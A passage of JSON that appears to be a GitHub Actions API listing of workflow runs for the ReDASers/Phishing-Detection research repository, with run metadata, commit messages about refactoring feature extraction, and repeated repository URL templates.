ction/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":287528129,"node_id":"MDExOldvcmtmbG93UnVuMjg3NTI4MTI5","head_branch":"master","head_sha":"eb359b6def2204f9b376cded6489cef66ba2e256","run_number":1072,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":1285652187,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjg1NjUyMTg3","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287528129","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/287528129","pull_requests":[],"created_at":"2020-10-04T06:53:56Z","updated_at":"2020-10-04T07:30:23Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287528129/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287528129/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1285652187","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287528129/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287528129/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287528129/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"eb359b6def2204f9b376cded6489cef66ba2e256","tree_id":"8d827b8c482f82d2141c2523a8b7613fe1ae7d59","message":"Updated CHANGELOG","timestamp":"2020-10-04T06:53:48Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":287526879,"node_id":"MDExOldvcmtmbG93UnVuMjg3NTI2ODc5","head_branch":"master","head_sha":"aa4b08f7ce14b0b0399418beef43b81c9cb6e981","run_number":1071,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":1285649518,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjg1NjQ5NTE4","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287526879","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/287526879","pull_requests":[],"created_at":"2020-10-04T06:51:57Z","updated_at":"2020-10-04T07:05:46Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287526879/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287526879/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1285649518","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287526879/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287526879/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287526879/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"aa4b08f7ce14b0b0399418beef43b81c9cb6e981","tree_id":"58681a06ba4658b65d57a9d9fb2584c034374691","message":"Standardized API for email and URL feature extraction (#252)\n\n* Fixed documentation\r\n\r\n* Renamed extract_features_list_email to extract_features_list\r\n\r\n* extract_features_from_list_urls to extract_features_list\r\n\r\n* Aligned extract_email_train_features and extract_url_train_features\r\n\r\n* Converted extract_email_test_features\r\n\r\n* Unified extract_train_features\r\n\r\n* Unified extract_test_features\r\n\r\n* Cleanup code\r\n\r\n* Combine output folder\r\n\r\n* Cleanup\r\n\r\n* Unified extract_features\r\n\r\n* Exposed extract_features_from_single\r\n\r\n* Documentation","timestamp":"2020-10-04T06:51:54Z","author":{"name":"Victor Zeng","email":"zacker150@users.noreply.github.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":287515889,"node_id":"MDExOldvcmtmbG93UnVuMjg3NTE1ODg5","head_branch":"API_Flatten","head_sha":"de31734a58e996c2425dc15130a929e0a7d14d46","run_number":281,"event":"pull_request","status":"completed","conclusion":"success","workflow_id":1732356,"check_suite_id":1285627062,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjg1NjI3MDYy","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287515889","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/287515889","pull_requests":[],"created_at":"2020-10-04T06:36:24Z","updated_at":"2020-10-04T06:39:08Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287515889/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287515889/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1285627062","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287515889/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287515889/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287515889/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/1732356","head_commit":{"id":"de31734a58e996c2425dc15130a929e0a7d14d46","tree_id":"58681a06ba4658b65d57a9d9fb2584c034374691","message":"Documentation","timestamp":"2020-10-04T06:36:15Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/R